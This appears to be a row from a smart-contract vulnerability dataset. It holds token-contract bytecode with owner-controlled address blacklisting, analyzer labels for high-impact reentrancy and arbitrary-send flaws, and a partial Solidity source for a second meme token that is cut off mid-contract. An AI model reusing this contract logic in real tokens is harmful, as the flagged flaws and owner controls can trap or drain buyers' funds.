0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e65565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612988565b610441565b6040516101789190612e4a565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613007565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612939565b610470565b6040516101e09190612e4a565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128ab565b610549565b005b34801561021e57600080fd5b50610227610639565b604051610234919061307c565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a05565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128ab565b610766565b6040516102b19190613007565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612d7c565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612e65565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612988565b610970565b60405161035b9190612e4a565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129c4565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a57565b6110b4565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128fd565b6111fd565b6040516104189190613007565b60405180910390f35b606060405180606001604052806022815260200161374060229139905090565b600061045561044e611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611457565b61053e84610489611284565b6105398560405180606001604052806028815260200161376260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4a9092919063ffffffff16565b61128c565b600190509392505050565b610551611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612f47565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612f47565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611284565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611cae565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1a565b9050919050565b6107bf611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612f47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f446f6c7068696e7520f09f90ac00000000000000000000000000000000000000815250905090565b600061098461097d611284565b8484611457565b6001905092915050565b610996611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612f47565b60405180910390fd5b60005b8151811015610ada576001600a6000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad29061331d565b915050610a26565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611284565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611d88565b50565b610b60611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612f47565b60405180910390fd5b600e60149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490612fc7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b91906128d4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de591906128d4565b6040518363ffffffff1660e01b8152600401610e02929190612d97565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5491906128d4565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612de9565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c9190612a80565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612dc0565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612a2e565b5050565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612f47565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612f07565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea0000061208290919063ffffffff16565b6120fd90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111f29190613007565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390612fa7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612ec7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190613007565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612f87565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612e87565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612f67565b60405180910390fd5b61158261090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f057506115c061090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b8757600e60179054906101000a900460ff1615611823573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117265750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182257600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176c611284565b73ffffffffffffffffffffffffffffffffffffffff1614806117e25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ca611284565b73ffffffffffffffffffffffffffffffffffffffff16145b611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890612fe7565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461186657600f5481111561186557600080fd5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561190a5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61191357600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119be5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a145750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a2c5750600e60179054906101000a900460ff165b15611acd5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7c57600080fd5b603c42611a89919061313d565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ad830610766565b9050600e60159054906101000a900460ff16158015611b455750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b5d5750600e60169054906101000a900460ff165b15611b8557611b6b81611d88565b60004790506000811115611b8357611b8247611cae565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c2e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c3857600090505b611c4484848484612147565b50505050565b6000838311158290611c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c899190612e65565b60405180910390fd5b5060008385611ca1919061321e565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d16573d6000803e3d6000fd5b5050565b6000600654821115611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5890612ea7565b60405180910390fd5b6000611d6b612174565b9050611d8081846120fd90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611de6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e145781602001602082028036833780820191505090505b5090503081600081518110611e52577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ef457600080fd5b505afa158015611f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2c91906128d4565b81600181518110611f66577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fcd30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612031959493929190613022565b600060405180830381600087803b15801561204b57600080fd5b505af115801561205f573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561209557600090506120f7565b600082846120a391906131c4565b90508284826120b29190613193565b146120f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e990612f27565b60405180910390fd5b809150505b92915050565b600061213f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061219f565b905092915050565b8061215557612154612202565b5b612160848484612233565b8061216e5761216d6123fe565b5b50505050565b6000806000612181612410565b9150915061219881836120fd90919063ffffffff16565b9250505090565b600080831182906121e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121dd9190612e65565b60405180910390fd5b50600083856121f59190613193565b9050809150509392505050565b600060085414801561221657506000600954145b1561222057612231565b600060088190555060006009819055505b565b60008060008060008061224587612472565b9550955095509550955095506122a386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238481612581565b61238e848361263e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123eb9190613007565b60405180910390a3505050505050505050565b60026008819055506008600981905550565b600080600060065490506000683635c9adc5dea000009050612446683635c9adc5dea000006006546120fd90919063ffffffff16565b82101561246557600654683635c9adc5dea0000093509350505061246e565b81819350935050505b9091565b600080600080600080600080600061248e8a600854600f612678565b925092509250600061249e612174565b905060008060006124b18e87878761270e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061251b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c4a565b905092915050565b6000808284612532919061313d565b905083811015612577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256e90612ee7565b60405180910390fd5b8091505092915050565b600061258b612174565b905060006125a2828461208290919063ffffffff16565b90506125f681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612653826006546124d990919063ffffffff16565b60068190555061266e8160075461252390919063ffffffff16565b6007819055505050565b6000806000806126a46064612696888a61208290919063ffffffff16565b6120fd90919063ffffffff16565b905060006126ce60646126c0888b61208290919063ffffffff16565b6120fd90919063ffffffff16565b905060006126f7826126e9858c6124d990919063ffffffff16565b6124d990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612727858961208290919063ffffffff16565b9050600061273e868961208290919063ffffffff16565b90506000612755878961208290919063ffffffff16565b9050600061277e8261277085876124d990919063ffffffff16565b6124d990919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127aa6127a5846130bc565b613097565b905080838252602082019050828560208602820111156127c957600080fd5b60005b858110156127f957816127df8882612803565b8452602084019350602083019250506001810190506127cc565b5050509392505050565b600081359050612812816136fa565b92915050565b600081519050612827816136fa565b92915050565b600082601f83011261283e57600080fd5b813561284e848260208601612797565b91505092915050565b60008135905061286681613711565b92915050565b60008151905061287b81613711565b92915050565b60008135905061289081613728565b92915050565b6000815190506128a581613728565b92915050565b6000602082840312156128bd57600080fd5b60006128cb84828501612803565b91505092915050565b6000602082840312156128e657600080fd5b60006128f484828501612818565b91505092915050565b6000806040838503121561291057600080fd5b600061291e85828601612803565b925050602061292f85828601612803565b9150509250929050565b60008060006060848603121561294e57600080fd5b600061295c86828701612803565b935050602061296d86828701612803565b925050604061297e86828701612881565b9150509250925092565b6000806040838503121561299b57600080fd5b60006129a985828601612803565b92505060206129ba85828601612881565b9150509250929050565b6000602082840312156129d657600080fd5b600082013567ffffffffffffffff8111156129f057600080fd5b6129fc8482850161282d565b91505092915050565b600060208284031215612a1757600080fd5b6000612a2584828501612857565b91505092915050565b600060208284031215612a4057600080fd5b6000612a4e8482850161286c565b91505092915050565b600060208284031215612a6957600080fd5b6000612a7784828501612881565b91505092915050565b600080600060608486031215612a9557600080fd5b6000612aa386828701612896565b9350506020612ab486828701612896565b9250506040612ac586828701612896565b9150509250925092565b6000612adb8383612ae7565b60208301905092915050565b612af081613252565b82525050565b612aff81613252565b82525050565b6000612b10826130f8565b612b1a818561311b565b9350612b25836130e8565b8060005b83811015612b56578151612b3d8882612acf565b9750612b488361310e565b925050600181019050612b29565b5085935050505092915050565b612b6c81613264565b82525050565b612b7b816132a7565b82525050565b6000612b8c82613103565b612b96818561312c565b9350612ba68185602086016132b9565b612baf816133f3565b840191505092915050565b6000612bc760238361312c565b9150612bd282613404565b604082019050919050565b6000612bea602a8361312c565b9150612bf582613453565b604082019050919050565b6000612c0d60228361312c565b9150612c18826134a2565b604082019050919050565b6000612c30601b8361312c565b9150612c3b826134f1565b602082019050919050565b6000612c53601d8361312c565b9150612c5e8261351a565b602082019050919050565b6000612c7660218361312c565b9150612c8182613543565b604082019050919050565b6000612c9960208361312c565b9150612ca482613592565b602082019050919050565b6000612cbc60298361312c565b9150612cc7826135bb565b604082019050919050565b6000612cdf60258361312c565b9150612cea8261360a565b604082019050919050565b6000612d0260248361312c565b9150612d0d82613659565b604082019050919050565b6000612d2560178361312c565b9150612d30826136a8565b602082019050919050565b6000612d4860118361312c565b9150612d53826136d1565b602082019050919050565b612d6781613290565b82525050565b612d768161329a565b82525050565b6000602082019050612d916000830184612af6565b92915050565b6000604082019050612dac6000830185612af6565b612db96020830184612af6565b9392505050565b6000604082019050612dd56000830185612af6565b612de26020830184612d5e565b9392505050565b600060c082019050612dfe6000830189612af6565b612e0b6020830188612d5e565b612e186040830187612b72565b612e256060830186612b72565b612e326080830185612af6565b612e3f60a0830184612d5e565b979650505050505050565b6000602082019050612e5f6000830184612b63565b92915050565b60006020820190508181036000830152612e7f8184612b81565b905092915050565b60006020820190508181036000830152612ea081612bba565b9050919050565b60006020820190508181036000830152612ec081612bdd565b9050919050565b60006020820190508181036000830152612ee081612c00565b9050919050565b60006020820190508181036000830152612f0081612c23565b9050919050565b60006020820190508181036000830152612f2081612c46565b9050919050565b60006020820190508181036000830152612f4081612c69565b9050919050565b60006020820190508181036000830152612f6081612c8c565b9050919050565b60006020820190508181036000830152612f8081612caf565b9050919050565b60006020820190508181036000830152612fa081612cd2565b9050919050565b60006020820190508181036000830152612fc081612cf5565b9050919050565b60006020820190508181036000830152612fe081612d18565b9050919050565b6000602082019050818103600083015261300081612d3b565b9050919050565b600060208201905061301c6000830184612d5e565b92915050565b600060a0820190506130376000830188612d5e565b6130446020830187612b72565b81810360408301526130568186612b05565b90506130656060830185612af6565b6130726080830184612d5e565b9695505050505050565b60006020820190506130916000830184612d6d565b92915050565b60006130a16130b2565b90506130ad82826132ec565b919050565b6000604051905090565b600067ffffffffffffffff8211156130d7576130d66133c4565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314882613290565b915061315383613290565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561318857613187613366565b5b828201905092915050565b600061319e82613290565b91506131a983613290565b9250826131b9576131b8613395565b5b828204905092915050565b60006131cf82613290565b91506131da83613290565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561321357613212613366565b5b828202905092915050565b600061322982613290565b915061323483613290565b92508282101561324757613246613366565b5b828203905092915050565b600061325d82613270565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132b282613290565b9050919050565b60005b838110156132d75780820151818401526020810190506132bc565b838111156132e6576000848401525b50505050565b6132f5826133f3565b810181811067ffffffffffffffff82111715613314576133136133c4565b5b80604052505050565b600061332882613290565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561335b5761335a613366565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61370381613252565b811461370e57600080fd5b50565b61371a81613264565b811461372557600080fd5b50565b61373181613290565b811461373c57600080fd5b5056fe446f6c7068696e20496e75207c20742e6d652f646f6c7068696e696e75746f6b656e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220db845ffbc3032b845fc18720f950263975a04793cd787d540cc89bfc214f270b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,670 |
0xaff88038c65d65da928b9ff137a4b8a74ce59c6d
|
/**
*
KingofFloki is going to launch in the Uniswap at July 10.
This is fair launch and going to launch without any presale.
tg: https://t.me/KingofFloki
All crypto babies will become a KingofFloki in here.
Let's enjoy our launch!
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KingofFloki is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"King of Floki";
string private constant _symbol = unicode" KFLOKI ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
